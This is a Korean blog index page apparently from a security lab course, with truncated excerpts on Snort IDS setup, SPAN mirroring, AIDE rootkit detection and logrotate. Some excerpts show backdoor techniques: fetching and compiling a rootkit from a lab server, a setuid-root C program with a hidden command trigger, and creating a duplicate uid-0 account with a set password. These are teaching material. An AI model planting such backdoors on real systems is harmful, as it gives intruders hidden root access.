본문 바로가기
SNORT ( 2 ) - rules # snort -c /etc/snort/snort.conf -A console A : alert mode c : 설정파일 위치 V : 버전정보표시 v : sniffing 모드로 동작 d : 모든네트워크 계층 포함 e : 데이터링크 계층 헤더 포함 # cd /etc/snort/rules/ [root@localhost rules]# ls [root@localhost rules]# vi /etc/snort/rules/protocol-telnet.rules alert 명령어 앞에 있는 주석을 모두 해제해준다. snort를 이용하여 텔넷 로그인 실패를 확인. 텔넷 클라이언트 (xp) 에서 텔넷 서버 (centos_minimal)로 접속을 일부러 실패 (3번 이상) 한 후 snort 에서 확인 [root@local..
SNORT SNORT EPEL 저장소 추가 [root@localhost ~]# yum -y install epel-release Snort 설치 전 의존성 패키지 설치(EPEL 저장소 이용) - 설치 되어 있는 패키지 확인 [root@localhost ~]# rpm -q gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump 패키지 설치 [root@localhost ~]# yum install gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump metalink오류 발생시 ..
IDS - Port Mirroring - SPAN 실습 SPAN 실습 GNS 1. xp, centos_minimal, centos_64 - 네트워크 설정해주기 xp minimal 핑 되는지확인해주기 2. centOS_64 - wireshark 설치 네트워크를 잠시 VMnet0 (bridge) 해놓고, wireshark 설치. # yum -y install # yum -y install wireshark wireshark-gnome 설치되면 VMnet3으로 다시 설정해주고 ip 설정 주석으로 빼주기. # service network restart 3. GNS 에서 스위치 설정해주기 SW1(config)#monitor session 1 source interface fastEthernet 1/0 SW1(config)#monitor session 1 source ..
Rootkit 감지 rootkit 을 탐지 - bin/ps -> /bin/.ps - white_ps -> /bin/ps ps 의 원본값을 보관하고 있다가 비교하여 변화된 값을 찾아내는 것 -> 파일의 변조를 감지 설치 # yum -y install aide gcc wget 1) 원본값을 보관. /bin 디렉터리 내의 파일들의 퍼미션과 파일크기를 md5라는 표현방식으로 저장 설정파일 : /etc/aide.conf (우리는 p, s 옵션만 사용하여 저장할 것) 설정파일 백업해놓기 # mv /etc/aide.conf /etc/aide.conf.bak # vi /etc/aide.conf # aide --init [root@localhost etc]# ls -l /etc/aide.db.new -rw------- 1 root root..
Backdoor Rootkit 서버 [root@localhost ~]# mkdir /root/white_rootkit [root@localhost ~]# wget http://200.200.200.200:8080/webshare/white_rootkit/white_rootkit.zip [root@localhost ~]# yum -y install gcc [root@localhost ~]# make gcc -o white_backc white_backc.c gcc -o white_backs white_backs.c gcc -o white_net white_net.c gcc -o white_ps white_ps.c 백도어 실행 [root@localhost ~]# ./white_backs 명령어 백업 해놓을것(/bin/ps,/bin/net..
Local Backdoor 악의적인 SetUID 프로그램 작성 # vi /tmp/fake_ping.c #include #include #include /* 예제 코드는 지식 습득 용이며, 악의적으로 이용할 경우 본인에게 책임이 있습니다.*/ int main(int argc, char **argv) { setuid(0); if(!strcmp(argv[1],"ktest")) { system(argv[2]); exit(0); } char input_cmd[100]; int i; memset(input_cmd,0,20); strcat(input_cmd,"."); for(i=0; i
Local Backdoor passwd 백도어 # useradd -o -u 0 back // o 옵션 : 중복된 uid 를 사용하겠다, // -u 0 : 슈퍼유저 uid 비밀번호 # echo 'back:songjina.' | chpasswd # grep back /etc/passwd back:x:0:501::/home/back:/bin/bash //back 유저의 비밀번호 songjina. (쉘에 뜨는 대화형이 아닌, 한 문장으로 끝내기 위해 이런 명령어를 씀. ssh 로 접속해보면, root 권한으로 접속됨을 확인할 수 있다. 대표적인 예 passwd 명령어 passwd (/user/bin/passwd ) 명령어를 실행할 때에는 shadow 파일 ( /etc/shadow) 에 기록된다. 따라서 shadow 파일에 쓰기 권한이 있..
시스템 로그 분석 ( logrotate ) • logrotate - Linux 용 Log 관리 프로그램 - Log 가 지속적으로 생성되면 서버에 부하가 발생될 가능성이 있음 - Log 를 효율적으로 관리하기 위해 일정기간 후 이전 로그들을 압축하여 용량을 줄이거나, 오래된 로그를 삭제해주는 등의 일련의 작업을 주기적으로 관리해 주는 프로그램 - Linux 설치 시 자동 설치되어 있음 - cron를 이용하여 주기적으로 작업을 수행 # cd /etc/logrotate.d # ls // httpd 있는것 확인. 없으면 yum # cp httpd httpd.old //백업 # vi httpd daily, weekly, monthly, yearly 매일, 매주, 매달, 매년 순환 dateext 백업 로그에 날짜 확장자 사용(YYYYMMDD 형식) miss..

티스토리툴바